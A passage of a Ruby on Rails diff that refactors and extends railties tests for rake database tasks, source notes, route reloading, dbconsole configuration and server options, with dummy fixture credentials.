- expected[:database] = database_url_db_name
- db_migrate_and_status
+ db_migrate_and_status database_url_db_name
end
def db_schema_dump
@@ -96,12 +88,11 @@ module ApplicationTests
db_schema_dump
end
- def db_fixtures_load
+ def db_fixtures_load(expected_database)
Dir.chdir(app_path) do
`rails generate model book title:string;
bundle exec rake db:migrate db:fixtures:load`
- assert_match(/#{expected[:database]}/,
- ActiveRecord::Base.connection_config[:database])
+ assert_match expected_database, ActiveRecord::Base.connection_config[:database]
require "#{app_path}/app/models/book"
assert_equal 2, Book.count
end
@@ -109,43 +100,50 @@ module ApplicationTests
test 'db:fixtures:load without database_url' do
require "#{app_path}/config/environment"
- expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
- db_fixtures_load
+ db_fixtures_load ActiveRecord::Base.configurations[Rails.env]['database']
end
test 'db:fixtures:load with database_url' do
require "#{app_path}/config/environment"
set_database_url
- expected[:database] = database_url_db_name
- db_fixtures_load
+ db_fixtures_load database_url_db_name
end
- def db_structure_dump_and_load
+ def db_structure_dump_and_load(expected_database)
Dir.chdir(app_path) do
`rails generate model book title:string;
bundle exec rake db:migrate db:structure:dump`
structure_dump = File.read("db/structure.sql")
assert_match(/CREATE TABLE \"books\"/, structure_dump)
- `bundle exec rake db:drop db:structure:load`
- assert_match(/#{expected[:database]}/,
- ActiveRecord::Base.connection_config[:database])
+ `bundle exec rake environment db:drop db:structure:load`
+ assert_match expected_database, ActiveRecord::Base.connection_config[:database]
require "#{app_path}/app/models/book"
#if structure is not loaded correctly, exception would be raised
- assert Book.count, 0
+ assert_equal 0, Book.count
end
end
test 'db:structure:dump and db:structure:load without database_url' do
require "#{app_path}/config/environment"
- expected[:database] = ActiveRecord::Base.configurations[Rails.env]['database']
- db_structure_dump_and_load
+ db_structure_dump_and_load ActiveRecord::Base.configurations[Rails.env]['database']
end
test 'db:structure:dump and db:structure:load with database_url' do
require "#{app_path}/config/environment"
set_database_url
- expected[:database] = database_url_db_name
- db_structure_dump_and_load
+ db_structure_dump_and_load database_url_db_name
+ end
+
+ test 'db:structure:dump does not dump schema information when no migrations are used' do
+ Dir.chdir(app_path) do
+ # create table without migrations
+ `bundle exec rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+
+ stderr_output = capture(:stderr) { `bundle exec rake db:structure:dump` }
+ assert_empty stderr_output
+ structure_dump = File.read("db/structure.sql")
+ assert_match(/CREATE TABLE \"posts\"/, structure_dump)
+ end
end
def db_test_load_structure
@@ -153,12 +151,12 @@ module ApplicationTests
`rails generate model book title:string;
bundle exec rake db:migrate db:structure:dump db:test:load_structure`
ActiveRecord::Base.configurations = Rails.application.config.database_configuration
- ActiveRecord::Base.establish_connection 'test'
+ ActiveRecord::Base.establish_connection :test
require "#{app_path}/app/models/book"
#if structure is not loaded correctly, exception would be raised
- assert Book.count, 0
- assert_match(/#{ActiveRecord::Base.configurations['test']['database']}/,
- ActiveRecord::Base.connection_config[:database])
+ assert_equal 0, Book.count
+ assert_match ActiveRecord::Base.configurations['test']['database'],
+ ActiveRecord::Base.connection_config[:database]
end
end
@@ -166,6 +164,15 @@ module ApplicationTests
require "#{app_path}/config/environment"
db_test_load_structure
end
+
+ test 'db:test deprecation' do
+ require "#{app_path}/config/environment"
+ Dir.chdir(app_path) do
+ output = `bundle exec rake db:migrate db:test:prepare 2>&1`
+ assert_equal "WARNING: db:test:prepare is deprecated. The Rails test helper now maintains " \
+ "your test schema automatically, see the release notes for details.\n", output
+ end
+ end
end
end
end
diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb
index 33c753868c..b7fd5d02c5 100644
--- a/railties/test/application/rake/migrations_test.rb
+++ b/railties/test/application/rake/migrations_test.rb
@@ -153,6 +153,37 @@ module ApplicationTests
assert_match(/up\s+\d{3,}\s+Add email to users/, output)
end
end
+
+ test 'schema generation when dump_schema_after_migration is set' do
+ add_to_config('config.active_record.dump_schema_after_migration = false')
+
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ bundle exec rake db:migrate`
+
+ assert !File.exist?("db/schema.rb")
+ end
+
+ add_to_config('config.active_record.dump_schema_after_migration = true')
+
+ Dir.chdir(app_path) do
+ `rails generate model author name:string;
+ bundle exec rake db:migrate`
+
+ structure_dump = File.read("db/schema.rb")
+ assert_match(/create_table "authors"/, structure_dump)
+ end
+ end
+
+ test 'default schema generation after migration' do
+ Dir.chdir(app_path) do
+ `rails generate model book title:string;
+ bundle exec rake db:migrate`
+
+ structure_dump = File.read("db/schema.rb")
+ assert_match(/create_table "books"/, structure_dump)
+ end
+ end
end
end
end
diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb
index 3508f4225a..95087bf29f 100644
--- a/railties/test/application/rake/notes_test.rb
+++ b/railties/test/application/rake/notes_test.rb
@@ -1,4 +1,5 @@
require "isolation/abstract_unit"
+require 'rails/source_annotation_extractor'
module ApplicationTests
module RakeTests
@@ -18,42 +19,27 @@ module ApplicationTests
test 'notes finds notes for certain file_types' do
app_file "app/views/home/index.html.erb", "<% # TODO: note in erb %>"
- app_file "app/views/home/index.html.haml", "-# TODO: note in haml"
- app_file "app/views/home/index.html.slim", "/ TODO: note in slim"
- app_file "app/assets/javascripts/application.js.coffee", "# TODO: note in coffee"
app_file "app/assets/javascripts/application.js", "// TODO: note in js"
app_file "app/assets/stylesheets/application.css", "// TODO: note in css"
- app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
app_file "app/controllers/application_controller.rb", 1000.times.map { "" }.join("\n") << "# TODO: note in ruby"
app_file "lib/tasks/task.rake", "# TODO: note in rake"
+ app_file 'app/views/home/index.html.builder', '# TODO: note in builder'
+ app_file 'config/locales/en.yml', '# TODO: note in yml'
+ app_file 'config/locales/en.yaml', '# TODO: note in yaml'
+ app_file "app/views/home/index.ruby", "# TODO: note in ruby"
- boot_rails
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
-
- Rails.application.load_tasks
-
- Dir.chdir(app_path) do
- output = `bundle exec rake notes`
- lines = output.scan(/\[([0-9\s]+)\](\s)/)
-
+ run_rake_notes do |output, lines|
assert_match(/note in erb/, output)
- assert_match(/note in haml/, output)
- assert_match(/note in slim/, output)
- assert_match(/note in ruby/, output)
- assert_match(/note in coffee/, output)
assert_match(/note in js/, output)
assert_match(/note in css/, output)
- assert_match(/note in scss/, output)
assert_match(/note in rake/, output)
+ assert_match(/note in builder/, output)
+ assert_match(/note in yml/, output)
+ assert_match(/note in yaml/, output)
+ assert_match(/note in ruby/, output)
assert_equal 9, lines.size
-
- lines.each do |line|
- assert_equal 4, line[0].size
- assert_equal ' ', line[1]
- end
+ assert_equal [4], lines.map(&:size).uniq
end
end
@@ -66,18 +52,7 @@ module ApplicationTests
app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
- boot_rails
-
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
-
- Rails.application.load_tasks
-
- Dir.chdir(app_path) do
- output = `bundle exec rake notes`
- lines = output.scan(/\[([0-9\s]+)\]/).flatten
-
+ run_rake_notes do |output, lines|
assert_match(/note in app directory/, output)
assert_match(/note in config directory/, output)
assert_match(/note in db directory/, output)
@@ -86,10 +61,7 @@ module ApplicationTests
assert_no_match(/note in some_other directory/, output)
assert_equal 5, lines.size
-
- lines.each do |line_number|
- assert_equal 4, line_number.size
- end
+ assert_equal [4], lines.map(&:size).uniq
end
end
@@ -102,18 +74,7 @@ module ApplicationTests
app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory"
- boot_rails
-
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
-
- Rails.application.load_tasks
-
- Dir.chdir(app_path) do
- output = `SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes`
- lines = output.scan(/\[([0-9\s]+)\]/).flatten
-
+ run_rake_notes "SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes" do |output, lines|
assert_match(/note in app directory/, output)
assert_match(/note in config directory/, output)
assert_match(/note in db directory/, output)
@@ -123,10 +84,7 @@ module ApplicationTests
assert_match(/note in some_other directory/, output)
assert_equal 6, lines.size
-
- lines.each do |line_number|
- assert_equal 4, line_number.size
- end
+ assert_equal [4], lines.map(&:size).uniq
end
end
@@ -144,32 +102,51 @@ module ApplicationTests
end
EOS
- boot_rails
-
- require 'rake'
- require 'rdoc/task'
- require 'rake/testtask'
-
- Rails.application.load_tasks
-
- Dir.chdir(app_path) do
- output = `bundle exec rake notes_custom`
- lines = output.scan(/\[([0-9\s]+)\]/).flatten
-
+ run_rake_notes "bundle exec rake notes_custom" do |output, lines|
assert_match(/\[FIXME\] note in lib directory/, output)
assert_match(/\[TODO\] note in test directory/, output)
assert_no_match(/OPTIMIZE/, output)
assert_no_match(/note in app directory/, output)
assert_equal 2, lines.size
+ assert_equal [4], lines.map(&:size).uniq
+ end
+ end
- lines.each do |line_number|
- assert_equal 4, line_number.size
- end
+ test 'register a new extension' do
+ add_to_config %q{ config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } }
+ app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss"
+ app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass"
+
+ run_rake_notes do |output, lines|
+ assert_match(/note in scss/, output)
+ assert_match(/note in sass/, output)
+ assert_equal 2, lines.size
end
end
private
+
+ def run_rake_notes(command = 'bundle exec rake notes')
+ boot_rails
+ load_tasks
+
+ Dir.chdir(app_path) do
+ output = `#{command}`
+ lines = output.scan(/\[([0-9\s]+)\]\s/).flatten
+
+ yield output, lines
+ end
+ end
+
+ def load_tasks
+ require 'rake'
+ require 'rdoc/task'
+ require 'rake/testtask'
+
+ Rails.application.load_tasks
+ end
+
def boot_rails
super
require "#{app_path}/config/environment"
diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb
index 8e5310afee..e8c8de9f73 100644
--- a/railties/test/application/rake_test.rb
+++ b/railties/test/application/rake_test.rb
@@ -9,7 +9,6 @@ module ApplicationTests
def setup
build_app
boot_rails
- FileUtils.rm_rf("#{app_path}/config/environments")
end
def teardown
@@ -56,10 +55,8 @@ module ApplicationTests
assert_match "Doing something...", output
end
- def test_does_not_explode_when_accessing_a_model_with_eager_load
+ def test_does_not_explode_when_accessing_a_model
add_to_config <<-RUBY
- config.eager_load = true
-
rake_tasks do
task do_nothing: :environment do
Hello.new.world
@@ -67,33 +64,38 @@ module ApplicationTests
end
RUBY
- app_file "app/models/hello.rb", <<-RUBY
- class Hello
- def world
- puts "Hello world"
+ app_file 'app/models/hello.rb', <<-RUBY
+ class Hello
+ def world
+ puts 'Hello world'
+ end
end
- end
RUBY
- output = Dir.chdir(app_path){ `rake do_nothing` }
- assert_match "Hello world", output
+ output = Dir.chdir(app_path) { `rake do_nothing` }
+ assert_match 'Hello world', output
end
- def test_should_not_eager_load_model_path_for_rake
+ def test_should_not_eager_load_model_for_rake
add_to_config <<-RUBY
- config.eager_load = true
-
rake_tasks do
task do_nothing: :environment do
end
end
RUBY
- app_file "app/models/hello.rb", <<-RUBY
- raise 'should not be pre-required for rake even `eager_load=true`'
+ add_to_env_config 'production', <<-RUBY
+ config.eager_load = true
+ RUBY
+
+ app_file 'app/models/hello.rb', <<-RUBY
+ raise 'should not be pre-required for rake even eager_load=true'
RUBY
- Dir.chdir(app_path){ `rake do_nothing` }
+ Dir.chdir(app_path) do
+ assert system('rake do_nothing RAILS_ENV=production'),
+ 'should not be pre-required for rake even eager_load=true'
+ end
end
def test_code_statistics_sanity
@@ -109,7 +111,7 @@ module ApplicationTests
RUBY
output = Dir.chdir(app_path){ `rake routes` }
- assert_equal "Prefix Verb URI Pattern Controller#Action\ncart GET /cart(.:format) cart#show\n", output
+ assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output
end
def test_rake_routes_with_controller_environment
@@ -122,7 +124,7 @@ module ApplicationTests
ENV['CONTROLLER'] = 'cart'
output = Dir.chdir(app_path){ `rake routes` }
- assert_equal "Prefix Verb URI Pattern Controller#Action\ncart GET /cart(.:format) cart#show\n", output
+ assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output
end
def test_rake_routes_displays_message_when_no_routes_are_defined
@@ -185,7 +187,7 @@ module ApplicationTests
def test_scaffold_tests_pass_by_default
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string password:string;
- bundle exec rake db:migrate db:test:clone test`
+ bundle exec rake db:migrate test`
end
assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
@@ -195,7 +197,7 @@ module ApplicationTests
def test_scaffold_with_references_columns_tests_pass_by_default
output = Dir.chdir(app_path) do
`rails generate scaffold LineItems product:references cart:belongs_to;
- bundle exec rake db:migrate db:test:clone test`
+ bundle exec rake db:migrate test`
end
assert_match(/7 runs, 13 assertions, 0 failures, 0 errors/, output)
@@ -206,7 +208,8 @@ module ApplicationTests
add_to_config "config.active_record.schema_format = :sql"
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string;
- bundle exec rake db:migrate db:test:clone 2>&1 --trace`
+ bundle exec rake db:migrate;
+ bundle exec rake db:test:clone 2>&1 --trace`
end
assert_match(/Execute db:test:clone_structure/, output)
end
@@ -215,7 +218,8 @@ module ApplicationTests
add_to_config "config.active_record.schema_format = :sql"
output = Dir.chdir(app_path) do
`rails generate scaffold user username:string;
- bundle exec rake db:migrate db:test:prepare 2>&1 --trace`
+ bundle exec rake db:migrate;
+ bundle exec rake db:test:prepare 2>&1 --trace`
end
assert_match(/Execute db:test:load_structure/, output)
end
@@ -225,7 +229,7 @@ module ApplicationTests
# ensure we have a schema_migrations table to dump
`bundle exec rake db:migrate db:structure:dump DB_STRUCTURE=db/my_structure.sql`
end
- assert File.exists?(File.join(app_path, 'db', 'my_structure.sql'))
+ assert File.exist?(File.join(app_path, 'db', 'my_structure.sql'))
end
def test_rake_dump_structure_should_be_called_twice_when_migrate_redo
@@ -246,26 +250,37 @@ module ApplicationTests
rails generate model product name:string;
bundle exec rake db:migrate db:schema:cache:dump`
end
- assert File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+ assert File.exist?(File.join(app_path, 'db', 'schema_cache.dump'))
end
def test_rake_clear_schema_cache
Dir.chdir(app_path) do
`bundle exec rake db:schema:cache:dump db:schema:cache:clear`
end
- assert !File.exists?(File.join(app_path, 'db', 'schema_cache.dump'))
+ assert !File.exist?(File.join(app_path, 'db', 'schema_cache.dump'))
end
def test_copy_templates
Dir.chdir(app_path) do
`bundle exec rake rails:templates:copy`
%w(controller mailer scaffold).each do |dir|
- assert File.exists?(File.join(app_path, 'lib', 'templates', 'erb', dir))
+ assert File.exist?(File.join(app_path, 'lib', 'templates', 'erb', dir))
end
%w(controller helper scaffold_controller assets).each do |dir|
- assert File.exists?(File.join(app_path, 'lib', 'templates', 'rails', dir))
+ assert File.exist?(File.join(app_path, 'lib', 'templates', 'rails', dir))
end
end
end
+
+ def test_template_load_initializers
+ app_file "config/initializers/dummy.rb", "puts 'Hello, World!'"
+ app_file "template.rb", ""
+
+ output = Dir.chdir(app_path) do
+ `bundle exec rake rails:template LOCATION=template.rb`
+ end
+
+ assert_match(/Hello, World!/, output)
+ end
end
end
diff --git a/railties/test/application/routing_test.rb b/railties/test/application/routing_test.rb
index 1a4e2d4123..8576a2b738 100644
--- a/railties/test/application/routing_test.rb
+++ b/railties/test/application/routing_test.rb
@@ -372,6 +372,51 @@ module ApplicationTests
end
end
+ test 'named routes are cleared when reloading' do
+ app('development')
+
+ controller :foo, <<-RUBY
+ class FooController < ApplicationController
+ def index
+ render text: "foo"
+ end
+ end
+ RUBY
+
+ controller :bar, <<-RUBY
+ class BarController < ApplicationController
+ def index
+ render text: "bar"
+ end
+ end
+ RUBY
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get ':locale/foo', to: 'foo#index', as: 'foo'
+ end
+ RUBY
+
+ get '/en/foo'
+ assert_equal 'foo', last_response.body
+ assert_equal '/en/foo', Rails.application.routes.url_helpers.foo_path(:locale => 'en')
+
+ app_file 'config/routes.rb', <<-RUBY
+ Rails.application.routes.draw do
+ get ':locale/bar', to: 'bar#index', as: 'foo'
+ end
+ RUBY
+
+ Rails.application.reload_routes!
+
+ get '/en/foo'
+ assert_equal 404, last_response.status
+
+ get '/en/bar'
+ assert_equal 'bar', last_response.body
+ assert_equal '/en/bar', Rails.application.routes.url_helpers.foo_path(:locale => 'en')
+ end
+
test 'resource routing with irregular inflection' do
app_file 'config/initializers/inflection.rb', <<-RUBY
ActiveSupport::Inflector.inflections do |inflect|
diff --git a/railties/test/application/test_test.rb b/railties/test/application/test_test.rb
index c7ad2fba8f..a223180169 100644
--- a/railties/test/application/test_test.rb
+++ b/railties/test/application/test_test.rb
@@ -24,7 +24,7 @@ module ApplicationTests
end
RUBY
- run_test_file 'unit/foo_test.rb'
+ assert_successful_test_run 'unit/foo_test.rb'
end
test "integration test" do
@@ -49,19 +49,93 @@ module ApplicationTests
end
RUBY
- run_test_file 'integration/posts_test.rb'
+ assert_successful_test_run 'integration/posts_test.rb'
+ end
+
+ test "enable full backtraces on test failures" do
+ app_file 'test/unit/failing_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class FailingTest < ActiveSupport::TestCase
+ def test_failure
+ raise "fail"
+ end
+ end
+ RUBY
+
+ output = run_test_file('unit/failing_test.rb', env: { "BACKTRACE" => "1" })
+ assert_match %r{/app/test/unit/failing_test\.rb}, output
+ end
+
+ test "migrations" do
+ output = script('generate model user name:string')
+ version = output.match(/(\d+)_create_users\.rb/)[1]
+
+ app_file 'test/models/user_test.rb', <<-RUBY
+ require 'test_helper'
+
+ class UserTest < ActiveSupport::TestCase
+ test "user" do
+ User.create! name: "Jon"
+ end
+ end
+ RUBY
+ app_file 'db/schema.rb', ''
+
+ assert_unsuccessful_run "models/user_test.rb", "Migrations are pending"
+
+ app_file 'db/schema.rb', <<-RUBY
+ ActiveRecord::Schema.define(version: #{version}) do
+ create_table :users do |t|
+ t.string :name
+ end
+ end
+ RUBY
+
+ app_file 'config/initializers/disable_maintain_test_schema.rb', <<-RUBY
+ Rails.application.config.active_record.maintain_test_schema = false
+ RUBY
+
+ assert_unsuccessful_run "models/user_test.rb", "Could not find table 'users'"
+
+ File.delete "#{app_path}/config/initializers/disable_maintain_test_schema.rb"
+
+ result = assert_successful_test_run('models/user_test.rb')
+ assert !result.include?("create_table(:users)")
end
private
- def run_test_file(name)
- result = ruby '-Itest', "#{app_path}/test/#{name}"
+ def assert_unsuccessful_run(name, message)
+ result = run_test_file(name)
+ assert_not_equal 0, $?.to_i
+ assert result.include?(message)
+ result
+ end
+
+ def assert_successful_test_run(name)
+ result = run_test_file(name)
assert_equal 0, $?.to_i, result
+ result
+ end
+
+ def run_test_file(name, options = {})
+ ruby '-Itest', "#{app_path}/test/#{name}", options
end
def ruby(*args)
+ options = args.extract_options!
+ env = options.fetch(:env, {})
+ env["RUBYLIB"] = $:.join(':')
+
Dir.chdir(app_path) do
- `RUBYLIB='#{$:.join(':')}' #{Gem.ruby} #{args.join(' ')}`
+ `#{env_string(env)} #{Gem.ruby} #{args.join(' ')} 2>&1`
end
end
+
+ def env_string(variables)
+ variables.map do |key, value|
+ "#{key}='#{value}'"
+ end.join " "
+ end
end
end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
index 2767779719..efbc853d7b 100644
--- a/railties/test/application/url_generation_test.rb
+++ b/railties/test/application/url_generation_test.rb
@@ -12,6 +12,7 @@ module ApplicationTests
boot_rails
require "rails"
require "action_controller/railtie"
+ require "action_view/railtie"
class MyApp < Rails::Application
config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
diff --git a/railties/test/commands/console_test.rb b/railties/test/commands/console_test.rb
index a34beaedb3..1273f9d4c2 100644
--- a/railties/test/commands/console_test.rb
+++ b/railties/test/commands/console_test.rb
@@ -19,14 +19,8 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
assert console.sandbox?
end
- def test_debugger_option
- console = Rails::Console.new(app, parse_arguments(["--debugger"]))
- assert console.debugger?
- end
-
def test_no_options
console = Rails::Console.new(app, parse_arguments([]))
- assert !console.debugger?
assert !console.sandbox?
end
@@ -36,13 +30,6 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
assert_match(/Loading \w+ environment \(Rails/, output)
end
- def test_start_with_debugger
- rails_console = Rails::Console.new(app, parse_arguments(["--debugger"]))
- rails_console.expects(:require_debugger).returns(nil)
-
- silence_stream(STDOUT) { rails_console.start }
- end
-
def test_start_with_sandbox
app.expects(:sandbox=).with(true)
FakeConsole.expects(:start)
@@ -52,6 +39,25 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
assert_match(/Loading \w+ environment in sandbox \(Rails/, output)
end
+ if RUBY_VERSION < '2.0.0'
+ def test_debugger_option
+ console = Rails::Console.new(app, parse_arguments(["--debugger"]))
+ assert console.debugger?
+ end
+
+ def test_no_options_does_not_set_debugger_flag
+ console = Rails::Console.new(app, parse_arguments([]))
+ assert !console.debugger?
+ end
+
+ def test_start_with_debugger
+ rails_console = Rails::Console.new(app, parse_arguments(["--debugger"]))
+ rails_console.expects(:require_debugger).returns(nil)
+
+ silence_stream(STDOUT) { rails_console.start }
+ end
+ end
+
def test_console_with_environment
start ["-e production"]
assert_match(/\sproduction\s/, output)
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
index edb92b3aa2..24db395e6e 100644
--- a/railties/test/commands/dbconsole_test.rb
+++ b/railties/test/commands/dbconsole_test.rb
@@ -2,29 +2,74 @@ require 'abstract_unit'
require 'rails/commands/dbconsole'
class Rails::DBConsoleTest < ActiveSupport::TestCase
- def teardown
- %w[PGUSER PGHOST PGPORT PGPASSWORD].each{|key| ENV.delete(key)}
- end
- def test_config
- Rails::DBConsole.const_set(:APP_PATH, "erb")
-
- app_config({})
- capture_abort { Rails::DBConsole.new.config }
- assert aborted
- assert_match(/No database is configured for the environment '\w+'/, output)
- app_config(test: "with_init")
- assert_equal Rails::DBConsole.new.config, "with_init"
-
- app_db_file("test:\n without_init")
- assert_equal Rails::DBConsole.new.config, "without_init"
-
- app_db_file("test:\n <%= Rails.something_app_specific %>")
- assert_equal Rails::DBConsole.new.config, "with_init"
+ def setup
+ Rails::DBConsole.const_set('APP_PATH', 'rails/all')
+ end
- app_db_file("test:\n\ninvalid")
- assert_equal Rails::DBConsole.new.config, "with_init"
+ def teardown
+ Rails::DBConsole.send(:remove_const, 'APP_PATH')
+ %w[PGUSER PGHOST PGPORT PGPASSWORD DATABASE_URL].each{|key| ENV.delete(key)}
+ end
+
+ def test_config_with_db_config_only
+ config_sample = {
+ "test"=> {
+ "adapter"=> "sqlite3",
+ "host"=> "localhost",
+ "port"=> "9000",
+ "database"=> "foo_test",
+ "user"=> "foo",
+ "password"=> "bar",
+ "pool"=> "5",
+ "timeout"=> "3000"
+ }
+ }
+ app_db_config(config_sample)
+ assert_equal Rails::DBConsole.new.config, config_sample["test"]
+ end
+
+ def test_config_with_no_db_config
+ app_db_config(nil)
+ assert_raise(ActiveRecord::AdapterNotSpecified) {
+ Rails::DBConsole.new.config
+ }
+ end
+
+ def test_config_with_database_url_only
+ ENV['DATABASE_URL'] = 'postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000'
+ app_db_config(nil)
+ expected = {
+ "adapter" => "postgresql",
+ "host" => "localhost",
+ "port" => 9000,
+ "database" => "foo_test",
+ "username" => "foo",
+ "password" => "bar",
+ "pool" => "5",
+ "timeout" => "3000"
+ }.sort
+ assert_equal expected, Rails::DBConsole.new.config.sort
+ end
+
+ def test_config_choose_database_url_if_exists
+ host = "database-url-host.com"
+ ENV['DATABASE_URL'] = "postgresql://foo:bar@#{host}:9000/foo_test?pool=5&timeout=3000"
+ sample_config = {
+ "test" => {
+ "adapter" => "postgresql",
+ "host" => "not-the-#{host}",
+ "port" => 9000,
+ "database" => "foo_test",
+ "username" => "foo",
+ "password" => "bar",
+ "pool" => "5",
+ "timeout" => "3000"
+ }
+ }
+ app_db_config(sample_config)
+ assert_equal host, Rails::DBConsole.new.config["host"]
end
def test_env
@@ -177,6 +222,10 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
private
+ def app_db_config(results)
+ Rails.application.config.stubs(:database_configuration).returns(results || {})
+ end
+
def dbconsole
@dbconsole ||= Rails::DBConsole.new(nil)
end
@@ -197,11 +246,4 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
end
end
- def app_db_file(result)
- IO.stubs(:read).with("config/database.yml").returns(result)
- end
-
- def app_config(result)
- Rails.application.config.stubs(:database_configuration).returns(result.stringify_keys)
- end
end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
index cb57b3c0cd..ba688f1e9e 100644
--- a/railties/test/commands/server_test.rb
+++ b/railties/test/commands/server_test.rb
@@ -27,16 +27,62 @@ class Rails::ServerTest < ActiveSupport::TestCase
end
def test_environment_with_rails_env
- with_rails_env 'production' do
- server = Rails::Server.new
- assert_equal 'production', server.options[:environment]
+ with_rack_env nil do
+ with_rails_env 'production' do
+ server = Rails::Server.new
+ assert_equal 'production', server.options[:environment]
+ end
end
end
def test_environment_with_rack_env
- with_rack_env 'production' do
- server = Rails::Server.new
- assert_equal 'production', server.options[:environment]
+ with_rails_env nil do
+ with_rack_env 'production' do
+ server = Rails::Server.new
+ assert_equal 'production', server.options[:environment]
+ end
+ end
+ end
+
+ def test_log_stdout
+ with_rack_env nil do
+ with_rails_env nil do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal true, options[:log_stdout]
+
+ args = ["-e", "development"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal true, options[:log_stdout]
+
+ args = ["-e", "production"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal false, options[:log_stdout]
+
+ with_rack_env 'development' do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal true, options[:log_stdout]
+ end
+
+ with_rack_env 'production' do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal false, options[:log_stdout]
+ end
+
+ with_rails_env 'development' do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal true, options[:log_stdout]
+ end
+
+ with_rails_env 'production' do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal false, options[:log_stdout]
+ end
+ end
end
end
end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
index 2442cb995d..6f3e45f320 100644
--- a/railties/test/configuration/middleware_stack_proxy_test.rb
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -39,7 +39,7 @@ module Rails
@stack.swap :foo
@stack.delete :foo
- mock = MiniTest::Mock.new
+ mock = Minitest::Mock.new
mock.expect :send, nil, [:swap, :foo]
mock.expect :send, nil, [:delete, :foo]
@@ -50,7 +50,7 @@ module Rails
private
def assert_playback(msg_name, args)
- mock = MiniTest::Mock.new
+ mock = Minitest::Mock.new
mock.expect :send, nil, [msg_name, args]
@stack.merge_into(mock)
mock.verify
diff --git a/railties/test/env_helpers.rb b/railties/test/env_helpers.rb
index 6223c85bbf..330fe150ca 100644
--- a/railties/test/env_helpers.rb
+++ b/railties/test/env_helpers.rb
@@ -1,7 +1,10 @@
+require 'rails'
+
module EnvHelpers
private
def with_rails_env(env)
+ Rails.instance_variable_set :@_env, nil
switch_env 'RAILS_ENV', env do
switch_env 'RACK_ENV', nil do
yield
@@ -10,6 +13,7 @@ module EnvHelpers
end
def with_rack_env(env)
+ Rails.instance_variable_set :@_env, nil
switch_env 'RACK_ENV', env do
switch_env 'RAILS_ENV', nil do
yield
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
index e992534938..007dd886da 100644
--- a/railties/test/generators/app_generator_test.rb
+++ b/railties/test/generators/app_generator_test.rb
@@ -4,6 +4,7 @@ require 'generators/shared_generator_tests'
DEFAULT_APP_FILES = %w(
.gitignore
+ README.rdoc
Gemfile
Rakefile
config.ru
@@ -28,6 +29,7 @@ DEFAULT_APP_FILES = %w(
lib/tasks
lib/assets
log
+ test/test_helper.rb
test/fixtures
test/controllers
test/models
@@ -36,6 +38,8 @@ DEFAULT_APP_FILES = %w(
test/integration
vendor
vendor/assets
+ vendor/assets/stylesheets
+ vendor/assets/javascripts
tmp/cache
tmp/cache/assets
)
@@ -53,9 +57,11 @@ class AppGeneratorTest < Rails::Generators::TestCase
def test_assets
run_generator
- assert_file "app/views/layouts/application.html.erb", /stylesheet_link_tag\s+"application"/
- assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/
- assert_file "app/assets/stylesheets/application.css"
+
+ assert_file("app/views/layouts/application.html.erb", /stylesheet_link_tag\s+'application', media: 'all', 'data-turbolinks-track' => true/)
+ assert_file("app/views/layouts/application.html.erb", /javascript_include_tag\s+'application', 'data-turbolinks-track' => true/)
+ assert_file("app/assets/stylesheets/application.css")
+ assert_file("app/assets/javascripts/application.js")
end
def test_invalid_application_name_raises_an_error
@@ -107,6 +113,9 @@ class AppGeneratorTest < Rails::Generators::TestCase
FileUtils.mv(app_root, app_moved_root)
+ # make sure we are in correct dir
+ FileUtils.cd(app_moved_root)
+
generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
destination_root: app_moved_root, shell: @shell
generator.send(:app_const)
@@ -221,11 +230,16 @@ class AppGeneratorTest < Rails::Generators::TestCase
end
end
+ def test_generator_if_skip_action_view_is_given
+ run_generator [destination_root, "--skip-action-view"]
